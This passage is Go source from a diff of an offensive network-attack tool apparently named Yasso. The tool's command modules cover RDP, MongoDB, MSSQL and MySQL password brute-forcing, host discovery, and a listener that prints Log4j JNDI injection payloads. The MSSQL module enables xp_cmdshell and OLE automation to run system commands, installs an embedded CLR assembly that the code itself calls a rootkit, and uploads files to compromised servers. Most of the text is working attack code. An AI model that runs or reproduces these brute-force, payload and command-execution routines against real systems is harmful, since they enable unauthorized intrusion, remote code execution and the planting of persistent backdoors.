var RdpCmd = &cobra.Command{
Use: "grdp",
Short: "RDP burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteRdpByUser()
}
},
}
func init() {
RdpCmd.Flags().StringVar(&BruteDomain,"domain","","set host domain")
}
func BruteRdpByUser(){
if BrutePort == 0 {
BrutePort = 3389
}
var ips []string
var err error
if Hosts != "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("rdp",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [rdp]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("rdp",users,pass,ips,BrutePort,Runtime,TimeDuration,BruteDomain)
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改
func RdpConn(info config.HostIn,user, password string) (bool, error) {
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
g := NewClient(target, glog.NONE)
err := g.Login(info.Domain, user, password)
//var err
if err == nil {
return true, nil
}
//return true, err
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string) error {
// 这里做一下修改将dial.Timeout换成GetConn的代理连接
conn, err := GetConn(g.Host,5*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

153
cmd/icmp.go Normal file
View File

@@ -0,0 +1,153 @@
package cmd
import (
"bytes"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
tunnel = make(chan string,20)
OS = runtime.GOOS
Alive []string // 存活的ip列表
)
var pingCmd = &cobra.Command{
Use: "ping",
Short: "Use ping to scanner alive host (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will ping %d host",len(ips)))
_ = execute(ips)
},
}
func init(){
pingCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
pingCmd.Flags().BoolVarP(&RunICMP,"icmp","i",false,"Icmp packets are sent to check whether the host is alive(need root)")
rootCmd.AddCommand(pingCmd)
}
func execute(ips []string) []string {
var wg sync.WaitGroup
go func() {
for _,ip := range ips{
tunnel <- ip
}
}()
for i:=0;i<len(ips);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
if RunICMP == true{
if icmp(ip) {
Println(fmt.Sprintf("[+] Find %v (icmp)",ip))
Alive = append(Alive,ip)
}
}else{
if ping(ip){
Println(fmt.Sprintf("[+] Find %v (ping)",ip))
Alive = append(Alive,ip)
}
}
wg.Done()
})
}
wg.Wait()
return Alive
}
func ping(ip string) bool {
var cmd *exec.Cmd
switch OS {
case "windows":
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ ip +" && echo true || echo false")
case "linux":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false")
case "darwin":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false")
}
info := bytes.Buffer{}
cmd.Stdout = & info
err := cmd.Start()
if err != nil {
return false
}
if err = cmd.Wait();err != nil {
return false
}else{
if strings.Contains(info.String(),"true"){
return true
}else{
return false
}
}
}
func icmp(host string) bool{
conn, err := net.DialTimeout("ip4:icmp",host,1*time.Second)
if err != nil {
return false
}
defer func() {
_ = conn.Close()
}()
if err := conn.SetDeadline(time.Now().Add(1*time.Second)); err != nil {
return false
}
msg := packet(host)
if _, err := conn.Write(msg);err != nil {
return false
}
var receive = make([]byte,60)
if _, err := conn.Read(receive);err != nil {
return false
}
return true
}
func packet(host string)[]byte{
var msg = make([]byte,40)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4],msg[5] = host[0],host[1]
msg[6],msg[7] = byte(1 >> 8),byte(1 & 255)
msg[2] = byte(checksum(msg[0:40]) >> 8)
msg[3] = byte(checksum(msg[0:40]) & 255)
return msg
}
func checksum(msg []byte)uint16 {
var sum = 0
var length = len(msg)
for i:=0;i<length - 1 ;i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length % 2 == 1{
sum += int(msg[length - 1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
return uint16(^sum)
}

110
cmd/log4j.go Normal file
View File

@@ -0,0 +1,110 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"os/signal"
"strings"
"syscall"
)
/*
log4j扫描程序服务器,用来查看是否有漏洞
*/
var (
log4listenAddr string
)
var Log4jCmd = &cobra.Command{
Use: "log4j",
Short: "Open a socket listener to test log4J vulnerabilities offline",
Run: func(cmd *cobra.Command, args []string) {
if log4listenAddr == "" {
_ = cmd.Help()
}
t := strings.Split(log4listenAddr,":")
if len(t) == 2 {
Println(Clearln + "Press ctrl+c to shutdown")
go Log4jCheckServer(t[0],t[1])
c := make(chan os.Signal,1)
signal.Notify(c,os.Interrupt,syscall.SIGTERM)
<- c
Println(Clearln + "ctrl+c detected. Shutting down")
}
},
}
func init(){
Log4jCmd.Flags().StringVarP(&log4listenAddr,"bind","b","0.0.0.0:4568","socket listen address")
}
func Log4j2HandleRequest(conn net.Conn){
defer conn.Close()
buf := make([]byte,1024)
num, err := conn.Read(buf)
if err != nil {
Println(fmt.Sprintf(Clearln + "accept data reading err %v",err))
_ = conn.Close()
return
}
hexStr := fmt.Sprintf("%x",buf[:num])
// LDAP 协议
if "300c020101600702010304008000" == hexStr {
Println(fmt.Sprintf("[LDAP] %s Finger:%s",conn.RemoteAddr().String(),hexStr))
return
}
if RMI(buf) {
Println(fmt.Sprintf("[RMI] %s Finger:%x",conn.RemoteAddr().String(),buf[0:7]))
return
}
}
//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go
func RMI(data []byte) bool {
if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 {
if data[4] != 0x00 {
return false
}
if data[5] != 0x01 && data[5] != 0x02 {
return false
}
if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d {
return false
}
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}
func Log4jCheckServer(host string,port string){
listen, err := net.Listen("tcp",fmt.Sprintf("%s:%s",host,port))
if err != nil {
Println(Clearln + "log4j listen server failed")
return
}
defer listen.Close()
//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
Println(Clearln + "[payload]: ")
Println(fmt.Sprintf(Clearln + "==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}",host,port))
Println(fmt.Sprintf(Clearln + "==> ${${::-j}ndi:rmi://%v:%v/poc}",host,port))
Println(fmt.Sprintf(Clearln + "==> ${jndi:ldap://%v:%v/poc}",host,port))
Println("-----------------------------------")
for {
conn, err := listen.Accept()
if err != nil {
Println(fmt.Sprintf(Clearln + "accept failed %v",err))
continue
}
go Log4j2HandleRequest(conn)
}
}

32
cmd/logger.go Normal file
View File

@@ -0,0 +1,32 @@
package cmd
import (
"fmt"
"os"
)
var FileName string
func Println(s string) {
fmt.Println(s)
file,err := os.OpenFile(FileName,os.O_APPEND|os.O_WRONLY,0666)
defer file.Close()
if err != nil {
fmt.Println("[!] open log file failed",err)
return
}
file.WriteString("\n"+s)
}
func CreateLogFile(filename string) {
FileName = filename
_, err := os.Stat(filename)
if err != nil {
file,err := os.Create(filename)
if err != nil {
fmt.Println("[!] create log file failed",err)
return
}
defer file.Close()
}
}

125
cmd/mongo.go Normal file
View File

@@ -0,0 +1,125 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"net"
"strings"
"gopkg.in/mgo.v2"
"time"
)
var MongoCmd = &cobra.Command{
Use: "mongo",
Short: "MongoDB burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
}else{
BruteMongoByUser()
}
},
}
func BruteMongoByUser(){
if BrutePort == 0 {
BrutePort = 27017
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mongodb",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mongodb]")
Println(Clearln+"[*] MongoDB Authorized crack")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mongodb",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func MongoAuth(info config.HostIn,user,pass string)(bool,error){
conf := &mgo.DialInfo{
Dial: func(addr net.Addr) (net.Conn, error) {
return GetConn(addr.String(),info.TimeOut)
},
Addrs: []string{fmt.Sprintf("%s:%d",info.Host, info.Port)},
Timeout: info.TimeOut,
Database: "test",
Source: "admin",
Username: user,
Password: pass,
PoolLimit: 4096,
Direct: false,
}
db, err := mgo.DialWithInfo(conf)
if err == nil {
err = db.Ping()
if err != nil {
return false,err
}
defer db.Close()
return true,nil
}
return false,err
}
func MongoUnAuth(info config.HostIn,user,pass string)(bool,error) {
var flag = false
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
connString := fmt.Sprintf("%s:%v",info.Host,info.Port)
conn, err := GetConn(connString,info.TimeOut)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return false,err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return false,err
}
_, err = conn.Write(data1)
if err != nil {
return false,err
}
reply := make([]byte,1024)
count, err := conn.Read(reply)
if err != nil {
return false,err
}
text := string(reply[0:count])
if strings.Contains(text,"ismaster"){
_, err = conn.Write(data2)
if err != nil {
return false,err
}
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text,"totalLinesWritten") {
flag = true
Println(fmt.Sprintf(Clearln + "[+] Mongodb %v unauthorized",info.Host))
}
}
return flag,nil
}

535
cmd/mssql.go Normal file
View File

@@ -0,0 +1,535 @@
package cmd
import (
"Yasso/config"
"database/sql"
_ "embed"
"encoding/hex"
"fmt"
"github.com/cheggaaa/pb/v3"
_ "github.com/denisenkom/go-mssqldb"
"github.com/olekukonko/tablewriter"
"github.com/spf13/cobra"
"io/ioutil"
"math"
"os"
"strconv"
"strings"
"time"
)
/*
内网mssql数据库比较多可以完善一下clr和xp_cmdshell,spoacreate
*/
var (
HelpWarSQLKit int
InWarSQLKit int
UnWarSQLKit int
ExecuteMethod int
UploadFile []string
WarSQLKitCommand string
WarSQLCommand string
)
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "SQL Server burst module and extend tools (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == ""{
_ = cmd.Help()
}else{
MssqlBurpByUser()
}
},
}
var (
conn = new(setting)
)
func init(){
MssqlCmd.Flags().IntVar(&HelpWarSQLKit,"kithelp",0,"print SQLKit Use help")
MssqlCmd.Flags().IntVar(&InWarSQLKit,"inkit",0,"install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().IntVar(&UnWarSQLKit,"unkit",0,"uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().StringVar(&WarSQLKitCommand,"cld","","Execute WarSQLKit Command (eg.) --cld \"whoami\"")
MssqlCmd.Flags().StringVarP(&WarSQLCommand,"sql","s","","Execute sql command")
MssqlCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute System command")
MssqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect mssql address(brute param need false)")
MssqlCmd.Flags().StringVar(&LoginUser,"user","sa","Login ssh username")
MssqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
MssqlCmd.Flags().IntVar(&ExecuteMethod,"method",1,"Execute System command method [1,xpshell] [2,oleshell]")
MssqlCmd.Flags().StringArrayVar(&UploadFile,"upload",nil,"Use ole upload file (.eg) source,dest")
}
func MssqlBurpByUser(){
if BrutePort == 0 {
BrutePort = 1433
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mssql",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mssql]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mssql",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{
db,status, err := MssqlConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] Login mssql failed %v",err))
return
}
if db != nil && status == true {
conn.Setting(db)
switch {
case UnWarSQLKit > 0 && UnWarSQLKit <= 2:
conn.Uninstall_clr(UnWarSQLKit)
case InWarSQLKit > 0 && InWarSQLKit <= 2:
conn.Install_clr(InWarSQLKit)
case SQLCommand != "":
if ExecuteMethod == 1 {
Println("[+] Execute Method: xp_cmdshell")
conn.xp_shell(SQLCommand)
}else if ExecuteMethod == 2 {
Println("[+] Execute Method: ole echo")
conn.sp_shell(SQLCommand)
}
case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2:
WarSQLKitHelp(HelpWarSQLKit)
case len(UploadFile) == 1 :
filelist := strings.Split(UploadFile[0],",")
if len(filelist) == 2{
conn.UploadFile(filelist[0],filelist[1])
}else{
Println("[!] upload file only need 2 params")
}
break
case WarSQLKitCommand != "":
conn.WarSQLKitShell(WarSQLKitCommand)
case WarSQLCommand != "":
r, err := SQLExecute(conn.Conn,WarSQLCommand)
if err != nil {
return
}
for i,s := range r.Rows {
Println(s[i])
}
default:
conn.UnSetting()
}
}
}
}
//go:embed static/WarSQLKit.dll
var WarSQLKitName []byte
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
type setting struct {
Conn *sql.DB
Command string
}
func MssqlConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){
var flag = false
db, err := sql.Open("mssql",fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable",user,pass,info.Host,info.Port,info.TimeOut))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
db.SetMaxIdleConns(0)
err = db.Ping()
if err == nil {
flag = true
return db,flag,nil
}
}
return db,flag, err
}
// 设置数据库连接
func (s *setting)Setting(conn *sql.DB){
s.Conn = conn
}
func (s *setting)check_configuration(option string,value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`,option)
r, err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting)set_configuration(option string,value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;",option,value)
_, err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
return s.check_configuration(option,value)
}
func (s *setting)set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
// 启用xp_cmdshell
func (s *setting)Enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options",1){
Println("[!] cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell",1) {
Println("[!] cannot enable 'xp_cmdshell'")
return false
}
return true
}
// 关闭xp_cmdshell
func (s *setting)Disable_xp_cmdshell()bool{
if !s.set_configuration("show advanced options",1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell",0) {
Println("[!] cannot disable 'xp_cmdshell'")
return false
}
if !s.set_configuration("show advanced options",0){
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting)Enable_ole()bool{
if !s.set_configuration("show advanced options",1){
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures",1){
Println("[!] cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting)Disable_ole() bool {
if !s.set_configuration("show advanced options",1){
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 0){
Println("[!] cannot disable 'Ole Automation Procedures'")
return false
}
if !s.set_configuration("show advanced options", 0){
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting)sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures",0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`,Command)
Println(fmt.Sprintf("[+] Command: %v",Command))
r, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec ole command failed %v",err))
return false
}
for i,b := range r.Rows {
Println(b[i])
}
return true
}
func (s *setting)xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() {
return false
}
Println(fmt.Sprintf("[+] Command: %v",Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'",Command)
r, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v",err))
return false
}
for _,b := range r.Rows {
Println(b[0])
}
return true
}
func WarSQLKitToHex() string {
return hex.EncodeToString(WarSQLKitName)
}
func (s *setting)CREATE_ASSEMBLY(flag int) bool {
var KitHex string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
KitHex = WarSQLKitToHex()
}else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
}
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`,KitHex)
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Import the assembly failed %v",err))
return false
}
Println("[+] Import the assembly")
return true
}
func (s *setting)CREATE_PROCEDURE(flag int) bool {
var Command string
if flag == 1{
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`)
}else if flag == 2 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
}
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v",err))
return false
}
Println("[+] Link the assembly to a stored procedure")
return true
}
func (s *setting) Install_clr(flag int) bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY(flag){
return false
}
if !s.CREATE_PROCEDURE(flag){
return false
}
Println("[+] Install SQLKit successful!")
Println("[+] Please Use SQL Connect Tools to Execute")
Println("[+] WarSQLKit Command Help --SQLKit [1,2]")
return true
}
func (s *setting)Uninstall_clr(flag int) bool {
var Command string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec
drop assembly CLR_module`)
}else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
}
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v",err))
return false
}
Println("[+] Uninstall SQLKit successful!")
return true
}
func ReadFileToSplitHex(path string,splitLength int) []string {
data, err := ioutil.ReadFile(path)
if err != nil {
return []string{}
}
HexData := hex.EncodeToString(data)
var hexList []string
num := int(math.Ceil(float64(len(HexData) / splitLength)))
for i := 0;i < num; i++ {
hexList = append(hexList,HexData[i*splitLength:(i+1)*splitLength])
}
hexList = append(hexList,HexData[num*splitLength:])
// 返回分割好的list
return hexList
}
func (s *setting)UploadFile(source,dest string){
Println(fmt.Sprintf("[+] Ole Upload File %s to %s",source,dest))
if s.set_configuration("Ole Automation Procedures",0) && !s.Enable_ole(){
Println("[!] setting Ole Automation or enable Ole failed")
return
}
var copyCommand = `copy /b`
var splitLength = 250000
Hexlist := ReadFileToSplitHex(source,splitLength)
bar := pb.StartNew(len(Hexlist))
for i,body := range Hexlist {
var text2 = fmt.Sprintf("%v_%v.config_txt",dest,i)
var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken`,body,text2)
_, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i))
return
}
if i == 0 {
copyCommand = copyCommand + ` "` + text2 + `"`
}else{
copyCommand = copyCommand + " +" + ` "` + text2 + `"`
}
time.Sleep(1000 *time.Millisecond)
if s.File_Exists(text2,1) {
bar.Increment()
//Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i))
}else{
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i))
return
}
}
copyCommand = copyCommand + ` "` + dest + `"`
var shell = fmt.Sprintf(`
DECLARE @SHELL INT
EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT
EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`)
_, err := SQLExecute(s.Conn,shell+copyCommand + "'")
if err != nil {
Println(fmt.Sprintf("%v",err))
return
}
Println("\n[+] copy file success")
time.Sleep(1000*time.Millisecond)
if s.File_Exists(dest,1) {
sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`,dest) + "'"
_, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] del file failed %v",err))
return
}
Println(fmt.Sprintf("\n[+] %s Upload completed",source))
}
}
func (s *setting)File_Exists(path string,value int ) bool {
var Command = fmt.Sprintf(`
DECLARE @r INT
EXEC master.dbo.xp_fileexist '%v', @r OUTPUT
SELECT @r as n`,path)
r,err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func WarSQLKitHelp(flag int){
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"SQL Command","Introduce"})
table.SetRowLine(true)
var help [][]string
if flag == 1 {
help = config.WarKitHelp
}else if flag == 2 {
help = config.SharpKitHelp
}
for _, v := range help {
table.Append(v)
}
table.Render()
}
func (s *setting)UnSetting(){
s.Conn = nil
}
func (s *setting)WarSQLKitShell(cld string){
var Command = fmt.Sprintf(`declare @shell varchar(8000);
EXEC sp_cmdExec '%v' ,@shell output
select @shell`,cld)
r, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] %v",err))
return
}
for i,s := range r.Rows {
Println(s[i])
}
}
func Test(){
db,status, err := MssqlConn(config.HostIn{Host: "192.168.248.128",Port: 1433,TimeOut: 1 *time.Second},"sa","admin@123")
if status == true && err == nil {
conn := new(setting)
conn.Setting(db)
conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`,`1.exe`)
}
}

112
cmd/mysql.go Normal file
View File

@@ -0,0 +1,112 @@
package cmd
import (
"Yasso/config"
"context"
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/go-sql-driver/mysql"
_ "github.com/go-sql-driver/mysql"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"net"
"time"
)
var MysqlCmd = &cobra.Command{
Use: "mysql",
Short: "MYSQL burst module and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == ""{
_ = cmd.Help()
}else{
BruteMysqlByUser()
}
},
}
func BruteMysqlByUser(){
if BrutePort == 0 {
BrutePort = 3306
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mysql",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mysql]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mysql",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != ""{
if SQLCommand == "" && SQLShellBool == false {
Println("[*] try to add -C to exec sql command or -shell")
return
}
if SQLCommand != "" && SQLShellBool == false {
db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
r,err := SQLExecute(db,SQLCommand)
if err != nil {
Println(fmt.Sprintf("sql execute failed %v",err))
return
}
Println(r.String())
}
}
if SQLCommand == "" && SQLShellBool == true {
db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true{
SQLshell(db,"mysql")
}
}
}
}
func init(){
MysqlCmd.Flags().StringVarP(&SQLCommand,"cmd","C","","mysql sql command")
MysqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect a Mysql (brute param need false)")
MysqlCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
